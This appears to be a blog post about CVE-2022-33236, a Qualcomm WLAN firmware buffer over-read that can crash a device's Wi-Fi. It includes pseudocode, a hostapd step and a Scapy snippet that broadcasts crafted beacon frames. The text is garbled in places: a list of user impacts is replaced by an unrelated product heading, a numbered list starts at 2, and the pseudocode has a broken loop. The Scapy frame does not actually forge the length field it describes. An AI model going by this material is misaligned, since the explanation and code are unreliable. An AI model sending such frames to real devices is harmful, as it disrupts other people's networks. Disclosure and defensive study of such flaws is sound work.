Qualcomm chipsets power many of the world's smartphones, laptops, and networked devices. So, any flaw inside their firmware can have a huge impact on people's security and device stability. One such vulnerability—CVE-2022-33236—emerged in 2022, affecting the WLAN firmware in several Snapdragon product lines. In this post, I’ll explain in straightforward terms how this bug works, include a code snippet to help you understand the issue, point you to the official sources, and show how attackers might exploit it.

What Is CVE-2022-33236?

CVE-2022-33236 is a transient denial-of-service (DOS) vulnerability caused by a buffer over-read in Qualcomm's WLAN firmware. It occurs when the firmware parses malformed cipher suite information attributes from Wi-Fi management frames sent over the air. If exploited, this bug can crash or destabilize the device’s wireless subsystem.

Why Does This Matter?

A buffer over-read happens when code reads data past the allocated memory boundaries of a buffer. In the case of this bug, if the firmware tries to process more data than exists in the buffer, it may fetch garbage values, possibly causing an exception or forced reset. For the end user, this could mean:

Snapdragon Wired Infrastructure and Networking

These chipsets are found in smartphones, tablets, laptops, IoT gadgets, and enterprise networking gear.

How the Exploit Works

The attack surface involves the 802.11 management frames exchanged during Wi-Fi connections. These frames often contain cipher suite info inside security negotiation (like WPA/WPA2 elements). The firmware normally reads and parses this info securely, but the vulnerable code doesn't check the buffer size strictly enough.

Here’s the Vulnerable Pattern (Conceptual Pseudocode)

// ...assume 'data' points to Wi-Fi frame's cipher suite info array...
uint8_t *ptr = data;
uint16_t len = get_info_attr_length(data); // Length as provided by attacker

for (int i = ; i < len; i++) {
    // No check if (ptr + i) overruns actual buffer length!
    process_cipher_suite(ptr[i]);
}

Example Exploit Scenario

A malicious actor can send a crafted Wi-Fi management frame with a forged length field in the cipher suite info attribute. The frame is broadcast over the air—no need for authentication. When the vulnerable device's WLAN firmware parses this frame, it reads beyond the buffer, triggering a crash.

Set up a Wi-Fi access point using hostapd with custom vendor elements.

2. Forge the cipher suite info attributes so the length field claims more bytes than the element contains.

Example with Scapy (Python Wi-Fi Frame Crafting)

from scapy.all import *
# Warning: This is illustrative. Do not attack real networks.

# Create a malformed EAPOL frame with overlong cipher suite info
frame = RadioTap()/Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:11:22:33:44:55', addr3='00:11:22:33:44:55')/Dot11Beacon()/Dot11Elt(ID=48, info=b'\x00'*100)
sendp(frame, iface='wlan', count=5)

Note

The bug does *not* grant code execution or data leak *directly*; it “only” crashes the WLAN subsystem, making this a denial-of-service (DOS), not a remote code execution.

References and Patch

- Qualcomm Security Bulletin, June 2022
- CVE Record at NVD
- Vendor Patch Status (Product Security Patch)
- Common Vulnerabilities & Exposures

Qualcomm fixed this bug in their firmware update. Device makers and carriers may need to distribute this firmware as part of a system update—check with your OEM for applicable patches.

Conclusion

CVE-2022-33236 puts millions of Snapdragon-powered devices at risk for transient DOS via a simple Wi-Fi packet trick. Although it doesn't enable direct intrusion or persistence, it offers attackers a way to temporarily neutralize a device’s Wi-Fi, which is plenty for nuisance, targeted disruption, or as a part of complex attacks. Stay updated, and remember: Every unchecked buffer is a potential ticking timebomb in embedded code!


*Post exclusive for learning and awareness. Exploit details are for educational and defensive purposes only.*

Timeline

Published on: 11/15/2022 10:15:00 UTC
Last modified on: 11/18/2022 05:04:00 UTC